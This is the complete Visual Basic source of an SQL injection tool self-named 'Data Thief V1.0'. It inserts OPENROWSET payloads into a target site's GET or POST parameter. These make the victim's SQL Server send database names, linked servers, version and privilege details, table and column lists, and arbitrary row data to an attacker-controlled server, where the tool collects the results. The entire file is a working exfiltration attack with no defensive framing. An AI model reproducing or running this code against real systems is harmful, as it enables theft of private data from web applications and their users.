SQL注入程序代码

Option Explicit

Dim Url As String
Dim PostData As String
Dim Method As String

Private Sub CboMethod_Click()
    If CboMethod.ListIndex Then
        TxtPostData.Enabled = True
    Else
        TxtPostData.Enabled = False
    End If
End Sub

Private Sub CmdGo_Click()
Dim DATABASES_INJECTION_STR As String
Dim SERVERS_INJECTION_STR As String
Dim VERSION_INJECTION_STR As String
On Error GoTo DisplayError
    
If TxtUrl.Text <> "" Then
    If (CboMethod.Text = "POST" And TxtPostData.Text <> "") Or (CboMethod.Text = "GET") Then
        DATABASES_INJECTION_STR = " insert into openrowset('sqloledb','Network=DBMSSOCN;Address=" + TxtServer.Text + "," + TxtPort.Text + ";uid=" + TxtLogin.Text + ";pwd=" + TxtPassword.Text + "','select * from ##databases') select name from master.dbo.sysdatabases--"
        SERVERS_INJECTION_STR = " insert into openrowset('sqloledb','Network=DBMSSOCN;Address=" + TxtServer.Text + "," + TxtPort.Text + ";uid=" + TxtLogin.Text + ";pwd=" + TxtPassword.Text + "','select * from ##servers') select srvname from master.dbo.sysservers--"
        VERSION_INJECTION_STR = " insert into openrowset('sqloledb','Network=DBMSSOCN;Address=" + TxtServer.Text + "," + TxtPort.Text + ";uid=" + TxtLogin.Text + ";pwd=" + TxtPassword.Text + "','select * from ##version') select @@VERSION union all select 'Login name: ' %2B suser_sname() %2B char(13) %2B 'User name: ' %2B user %2B char(13) %2B 'Is db_owner: ' %2B convert(varchar(1),IS_MEMBER ('db_owner') ) %2B char(13) %2B 'Is sysadmin: ' %2B convert(varchar(1),IS_SRVROLEMEMBER('sysadmin'))  --"
        ClearLists
            
        Connect TxtServer.Text, TxtLogin.Text, TxtPassword.Text, TxtPort.Text
        CreateTables
        SetVars
        SubmitInjection Url, Method, PostData, DATABASES_INJECTION_STR
        SetVars
        SubmitInjection Url, Method, PostData, SERVERS_INJECTION_STR
        SetVars
        SubmitInjection Url, Method, PostData, VERSION_INJECTION_STR
        GetVersion
        GetServers
        GetDatabases
    Else
        MsgBox "Please, Input the post data value"
    End If
Else
    MsgBox "Please, Input the url value"
End If
    
Exit Sub
DisplayError:
MsgBox Err.Description
End Sub

Private Sub CmdListFields_Click()
Dim FIELDS_INJECTION_STR As String
On Error GoTo DisplayError
    
If LstTables.List(LstTables.ListIndex) <> "" Then
    FIELDS_INJECTION_STR = " insert into openrowset('sqloledb','Network=DBMSSOCN;Address=" + TxtServer.Text + "," + TxtPort.Text + ";uid=" + TxtLogin.Text + ";pwd=" + TxtPassword.Text + "','select * from ##fields') select name from " + LstDatabases.List(LstDatabases.ListIndex) + ".dbo.syscolumns where id=object_id('" + LstDatabases.List(LstDatabases.ListIndex) + ".." + LstTables.List(LstTables.ListIndex) + "')--"
    SetVars
    TxtQuery.Text = "Select "
    
    SubmitInjection Url, Method, PostData, FIELDS_INJECTION_STR
    GetFields
Else
    MsgBox "Please, Select a table"
End If

Exit Sub
DisplayError:
MsgBox Err.Description
End Sub

Private Sub CmdListTables_Click()
Dim TABLES_INJECTION_STR As String
On Error GoTo DisplayError

If LstDatabases.List(LstDatabases.ListIndex) <> "" Then
    If ChkSysTables Then
        TABLES_INJECTION_STR = " insert into openrowset('sqloledb','Network=DBMSSOCN;Address=" + TxtServer.Text + "," + TxtPort.Text + ";uid=" + TxtLogin.Text + ";pwd=" + TxtPassword.Text + "','select * from ##tables') select name from " + LstDatabases.List(LstDatabases.ListIndex) + ".dbo.sysobjects where xtype='U' or xtype='S'--"
    Else
        TABLES_INJECTION_STR = " insert into openrowset('sqloledb','Network=DBMSSOCN;Address=" + TxtServer.Text + "," + TxtPort.Text + ";uid=" + TxtLogin.Text + ";pwd=" + TxtPassword.Text + "','select * from ##tables') select name from " + LstDatabases.List(LstDatabases.ListIndex) + ".dbo.sysobjects where xtype='U'--"
    End If
    SetVars
    LstFields.Clear
    TxtQuery.Text = "Select "
    
    SubmitInjection Url, Method, PostData, TABLES_INJECTION_STR
    GetTables
Else
    MsgBox "Please, Select a Database"
End If
    
Exit Sub
DisplayError:
MsgBox Err.Description
End Sub

Private Sub CmdRunQuery_Click()
Dim Fields As String
Dim Query As String
Dim QUERY_INJECTION_STR As String
On Error GoTo DisplayError

    If TxtQuery.Text <> "Select " Then
        SetVars
        Fields = Left(TxtQuery.Text, Len(TxtQuery) - 1)
        Fields = Replace(Fields, "Select ", "")
        Query = "Select top " + TxtMaxRows.Text + " " + Fields + " from " + LstDatabases.List(LstDatabases.ListIndex) + ".dbo." + LstTables.List(LstTables.ListIndex)
        CreateTableResults Fields
        QUERY_INJECTION_STR = " insert into openrowset('sqloledb','Network=DBMSSOCN;Address=" + TxtServer.Text + "," + TxtPort.Text + ";uid=" + TxtLogin.Text + ";pwd=" + TxtPassword.Text + "','select * from ##tableresults')" + Query + "--"
        
        SubmitInjection Url, Method, PostData, QUERY_INJECTION_STR
        GetResults
    Else
        MsgBox "Please, Select One or More Fields"
    End If

Exit Sub
DisplayError:
MsgBox Err.Description
End Sub

Private Sub Form_Load()
    CboMethod.ListIndex = 0
End Sub

Private Sub Form_Unload(Cancel As Integer)
On Error GoTo DisplayError
    
    Disconnect
    End
    
Exit Sub
DisplayError:
MsgBox Err.Description
End Sub

Private Sub LstFields_ItemCheck(Item As Integer)
On Error GoTo DisplayError

    If InStr(1, TxtQuery.Text, " from", vbTextCompare) Then
        TxtQuery.Text = Replace(TxtQuery.Text, " from " + LstDatabases.List(LstDatabases.ListIndex) + ".dbo." + LstTables.List(LstTables.ListIndex), "")
        TxtQuery.Text = TxtQuery.Text + ","
    End If
    If LstFields.Selected(Item) Then
        TxtQuery.Text = TxtQuery.Text + LstFields.List(Item) + ","
    Else
        TxtQuery.Text = Replace(TxtQuery.Text, LstFields.List(Item) + ",", "")
    End If

Exit Sub
DisplayError:
MsgBox Err.Description
End Sub

Private Sub ClearLists()
    LstLinkedServer.Clear
    LstDatabases.Clear
    LstTables.Clear
    LstFields.Clear
End Sub

Private Sub SetVars()
    Url = TxtUrl.Text
    PostData = TxtPostData.Text
    Method = CboMethod.Text
End Sub

Private Sub TxtMaxRows_KeyPress(KeyAscii As Integer)
    If Not IsNumeric(Chr(KeyAscii)) And KeyAscii <> 8 Then
        KeyAscii = 0
    End If
End Sub

Private Sub TxtPort_KeyPress(KeyAscii As Integer)
    If Not IsNumeric(Chr(KeyAscii)) And KeyAscii <> 8 Then
        KeyAscii = 0
    End If
End Sub

Option Explicit
Const USER_AGENT = "Data Thief V1.0 (Beta)"

Dim Con As New ADODB.Connection

'Open the url submiting the data
Public Sub OpenUrl(Url As String, Method As String, PostData As String)
Dim HttpParser As New XMLHTTP

    Url = Replace(Url, " ", "%20")
    If Method = "GET" Then
        HttpParser.open Method, Url, False
        HttpParser.setRequestHeader "User-Agent", USER_AGENT
        HttpParser.send
    Else
        PostData = Replace(PostData, " ", "%20")
        HttpParser.open Method, Url, False
        HttpParser.setRequestHeader "User-Agent", USER_AGENT
        HttpParser.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
        HttpParser.send (PostData)
    End If
    FrmHtml.TxtHtml.Text = HttpParser.responseText
    FrmHtml.WindowState = 1
    FrmHtml.Show
    Set HttpParser = Nothing
    
End Sub

'Get the servers names from temporary table
Public Sub GetServers()
Dim Rec As New ADODB.Recordset

    Rec.ActiveConnection = Con
    Rec.open "Select name from ##Servers"
    FrmMain.LstLinkedServer.Clear
    Do While Not Rec.EOF
        FrmMain.LstLinkedServer.AddItem Rec.Fields(0)
        Rec.MoveNext
    Loop
    
    Rec.Close

End Sub

'Get the databases names from temporary table
Public Sub GetDatabases()
Dim Rec As New ADODB.Recordset

    Rec.ActiveConnection = Con
    Rec.open "Select name from ##Databases"
    FrmMain.LstDatabases.Clear
    Do While Not Rec.EOF
        FrmMain.LstDatabases.AddItem Rec.Fields(0)
        Rec.MoveNext
    Loop
    
    Rec.Close

End Sub

'Get the tables names from temporary table
Public Sub GetTables()
Dim Rec As New ADODB.Recordset

    Rec.ActiveConnection = Con
    Rec.open "Select name from ##Tables", , , adLockOptimistic
    FrmMain.LstTables.Clear
    Do While Not Rec.EOF
        FrmMain.LstTables.AddItem Rec.Fields(0)
        Rec.Delete
        Rec.MoveNext
    Loop
    Rec.Close

End Sub

'Get the fields names from temporary table
Public Sub GetFields()
Dim Rec As New ADODB.Recordset

    Rec.ActiveConnection = Con
    Rec.open "Select name from ##Fields", , , adLockOptimistic
    FrmMain.LstFields.Clear
    Do While Not Rec.EOF
        FrmMain.LstFields.AddItem Rec.Fields(0)
        Rec.Delete
        Rec.MoveNext
    Loop
    Rec.Close

End Sub

'Get the SQL Server version from temporary table
Public Sub GetVersion()
Dim Rec As New ADODB.Recordset
Dim i As Integer

    Rec.ActiveConnection = Con
    Rec.open "Select * from ##version"
    FrmMain.TxtOutput.Text = ""
    If Not Rec.EOF Then
        FrmMain.TxtOutput.Text = Rec.Fields(0).Name
        FrmMain.TxtOutput.Text = FrmMain.TxtOutput.Text + vbCrLf + vbCrLf + Rec.GetString
    End If
    Rec.Close

End Sub

'Get the results of the query from temporary table
Public Sub GetResults()
Dim Rec As New ADODB.Recordset
Dim i As Integer

    Rec.ActiveConnection = Con
    Rec.open "Select * from ##tableresults"
    FrmMain.TxtOutput.Text = ""
    For i = 0 To Rec.Fields.Count - 1
        FrmMain.TxtOutput.Text = FrmMain.TxtOutput.Text + Rec.Fields(i).Name + vbTab
    Next i
    If Not Rec.EOF Then
        FrmMain.TxtOutput.Text = FrmMain.TxtOutput.Text + vbCrLf + vbCrLf + Rec.GetString
    End If
    Rec.Close

End Sub

Public Sub Connect(Server As String, Uid As String, Pwd As String, Port As String)

    If Con = "" Then
        Con.ConnectionString = "provider=sqloledb;Network=DBMSSOCN;Address=" + Server + "," + Port + ";uid=" + Uid + ";pwd=" + Pwd + ";"
        Con.ConnectionTimeout = 10
        Con.open
    End If
    

End Sub

Public Sub Disconnect()

    If Con <> "" Then Con.Close
    Set Con = Nothing
    
End Sub

'Create temporary tables to hold the data
Public Sub CreateTables()
Dim Rec As New ADODB.Recordset

    Rec.ActiveConnection = Con
    Rec.open "if object_id('tempdb..##version') is not null drop table ##version "
    Rec.open "create table ##version (VERSION varchar(500))"
    Rec.open "if object_id('tempdb..##servers') is not null drop table ##servers "
    Rec.open "create table ##servers (name varchar(128))"
    Rec.open "if object_id('tempdb..##databases') is not null drop table ##databases "
    Rec.open "create table ##databases (name varchar(128))"
    Rec.open "if object_id('tempdb..##tables') is not null drop table ##tables "
    Rec.open "create table ##tables (name varchar(128))"
    Rec.open "if object_id('tempdb..##fields') is not null drop table ##fields "
    Rec.open "create table ##fields (name varchar(128))"

End Sub

'Create a temporary table to hold query results
Public Sub CreateTableResults(Fields As String)
Dim Rec As New ADODB.Recordset
Dim StrArray() As String
Dim Query As String
Dim i As Byte

    StrArray = Split(Fields, ",")
    Query = "create table ##tableresults ("
    If UBound(StrArray) = 0 Then
        Query = Query + StrArray(0) + " sql_variant)"
    Else
        For i = 0 To UBound(StrArray)
            'comment this if SQL Server 7
            Query = Query + StrArray(i) + " sql_variant,"
            'uncomment this if SQL Server 7
            'Query = Query + StrArray(i) + " varchar(8000),"
        Next i
        Query = Left(Query, Len(Query) - 1) + ")"
    End If
    Rec.ActiveConnection = Con
    Rec.open "if object_id('tempdb..##tableresults') is not null drop table ##tableresults "
    Rec.open Query

End Sub

'Submit data
Public Sub SubmitInjection(Url As String, Method As String, PostData As String, InjectionStr As String)
    
    If Method = "POST" Then
        PostData = Replace(PostData, "<***>", InjectionStr)
        OpenUrl Url, Method, PostData
    Else
        Url = Replace(Url, "<***>", InjectionStr)
        OpenUrl Url, Method, PostData
    End If
    
End Sub